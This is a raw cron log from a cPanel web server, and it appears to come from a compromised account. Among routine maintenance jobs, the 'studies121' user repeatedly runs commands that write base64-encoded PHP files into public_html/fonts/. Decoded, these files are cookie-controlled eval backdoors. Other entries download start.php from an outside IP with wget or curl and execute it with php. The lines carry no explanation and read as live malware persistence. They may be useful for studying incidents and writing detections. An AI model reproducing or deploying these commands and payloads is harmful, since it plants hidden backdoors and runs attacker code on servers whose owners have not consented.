Sep  6 08:37:01 ip-184-168-122-23 CROND[10574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:37:01 ip-184-168-122-23 CROND[10578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:37:01 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:37:01 ip-184-168-122-23 CROND[10577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:38:02 ip-184-168-122-23 CROND[10744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:38:02 ip-184-168-122-23 CROND[10745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:38:02 ip-184-168-122-23 CROND[10747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:38:02 ip-184-168-122-23 CROND[10749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:38:02 ip-184-168-122-23 CROND[10750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:39:01 ip-184-168-122-23 CROND[10841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:39:01 ip-184-168-122-23 CROND[10844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:39:01 ip-184-168-122-23 CROND[10843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:39:01 ip-184-168-122-23 CROND[10845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:39:01 ip-184-168-122-23 CROND[10846]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:40:01 ip-184-168-122-23 CROND[10947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:40:01 ip-184-168-122-23 CROND[10957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:40:01 ip-184-168-122-23 CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:41:01 ip-184-168-122-23 CROND[11049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:41:01 ip-184-168-122-23 CROND[11051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:41:01 ip-184-168-122-23 CROND[11052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:41:01 ip-184-168-122-23 CROND[11050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:42:01 ip-184-168-122-23 CROND[11139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:42:01 ip-184-168-122-23 CROND[11141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:42:01 ip-184-168-122-23 CROND[11142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:42:01 ip-184-168-122-23 CROND[11143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:42:01 ip-184-168-122-23 CROND[11144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:43:01 ip-184-168-122-23 CROND[11308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:43:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:43:01 ip-184-168-122-23 CROND[11312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:43:01 ip-184-168-122-23 CROND[11311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:44:01 ip-184-168-122-23 CROND[11437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:44:01 ip-184-168-122-23 CROND[11438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:44:01 ip-184-168-122-23 CROND[11439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:44:01 ip-184-168-122-23 CROND[11440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:44:01 ip-184-168-122-23 CROND[11441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11537]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:45:01 ip-184-168-122-23 CROND[11542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:45:01 ip-184-168-122-23 CROND[11540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:46:01 ip-184-168-122-23 CROND[11664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:46:01 ip-184-168-122-23 CROND[11665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:46:01 ip-184-168-122-23 CROND[11667]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:46:01 ip-184-168-122-23 CROND[11668]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 08:46:01 ip-184-168-122-23 CROND[11669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:46:01 ip-184-168-122-23 CROND[11672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:46:01 ip-184-168-122-23 CROND[11673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:47:01 ip-184-168-122-23 CROND[11784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:47:01 ip-184-168-122-23 CROND[11786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:47:01 ip-184-168-122-23 CROND[11785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:47:01 ip-184-168-122-23 CROND[11787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:48:01 ip-184-168-122-23 CROND[11867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:48:01 ip-184-168-122-23 CROND[11871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:48:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:48:01 ip-184-168-122-23 CROND[11870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:48:01 ip-184-168-122-23 CROND[11873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
